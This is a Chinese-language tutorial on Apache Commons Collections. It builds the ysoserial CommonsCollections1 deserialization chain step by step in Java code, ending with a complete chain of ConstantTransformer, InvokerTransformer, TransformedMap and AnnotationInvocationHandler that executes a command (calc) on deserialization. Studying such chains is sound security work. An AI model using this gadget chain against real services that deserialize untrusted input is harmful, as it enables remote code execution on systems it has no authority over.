Commons Collections
背景介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
以下是Collections的包结构和简单介绍:
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag
– 实现Bag接口的一组类org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer
– 实现Buffer接口的一组类org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list
– 实现java.util.List接口的一组类org.apache.commons.collections.map
– 实现Map系列接口的一组类org.apache.commons.collections.set
– 实现Set系列接口的一组类
方序列化利用原理
分析ysoserial工具下的链子
CC
我们能够看到,执行部分是使用的Transfomer
可以看到Transfomer的实现类,这里我们主要看InvokerTransformer
可以看到transform方法,接收input对象,然后反射调用,参数全是可以控制的,这个方法特别像是一个后门的写法
首先改写调用exec方法
//正常写法
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
//改成反射调用
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method exec = c.getDeclaredMethod("exec", String.class);
exec.invoke(r,"open /System/Applications/Calculator.app");
现在改成InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);
往下走,首先找看谁调用了transform,可以选择Find Usages进行查找,找到LazyMap和TransformedMap都直接调用了transform,先尝试TransformedMap
首先看TransformedMap,valueTransformer调用了transform,看看它是啥
找到了构造函数,由于是由protected修饰的,只能自己调用自己,看谁调用了
找到个静态方法decorate直接调用了TransformedMap,这里就可以直接创建个TransformedMap
我们是要调用valueTransformer的transform,所以只需要给valueTransformer赋值就行
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> map = new HashMap<>();
//invokerTransformer.transform(value)
TransformedMap.decorate(map,null,invokerTransformer);
继续找,看谁调用了checkSetValue,发现是个MapEntry类,里面调用了setValue然后调用checkSetValue
Entry是一个静态内部类
map遍历时可以使用Entr
这里实际上就是重写了Entry里的setValue
可以看到MapEntry继承了AbstractMapEntryDecorator
然后AbstractMapEntryDecorator继承了Map.Entry
所以只要遍历TransformedMap,调用setValue,就会走到MapEntry的setValue里的setValue
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
//invokerTransformer.transform(value)
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}
成功调用
继续找,看谁调用了setValue,最后找到AnnotationlnvocationHandler类里的readObject调用了setValue,这里遍历memberValues的值,然后调用了setValue方法
同时看到构造函数memberValues是可控的,可以放我们想放的值
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Override.class, transformedMap);
由于Runtime r = Runtime.getRuntime();
不能反序列化,必须写成能序列化的形式
正常反射写法
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
改写成InvokerTransformer的形式
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
还找到了一个类ChainedTransformer,这个类可以放一个Transformer数组进去然后再进行递归调用,我们可以用这个类进行简写
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
得出代码,跑一下发现没有成功运行
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
调试后注意到,AnnotationlnvocationHandler类里还有个if没有绕过去,setValue可能执行不正确
调试后发现var7实际上是获取传进来注解的值
首先Class var7 = (Class)var3.get(var6);
是获var3根据var6取值,var6就是key,map.put("aaa","bbb");
,由于我传进来的是aaa所以var6为aaa
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
这里就是遍历map获取key
var3又等于var2.memberTypes();
var2等于AnnotationType.getInstance(this.type);,这就是获取传入的注解
我们只需要传入的注解有值,并且key为注解的key,就可以绕过这个if
可以看到Target注解有值,我们传入Target,并且把key改为value
运行后可以看到var7不为null,成功绕过
继续往下面走,可以看到这个就是我们想要的,但是value的值没法修改
我们还看到一个类,ConstantTransformer,这里的transform方法,不管接收什么值,都值返回固定的值,那么我们就可以最后调用ConstantTransformer的transform方法即可
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
成功执行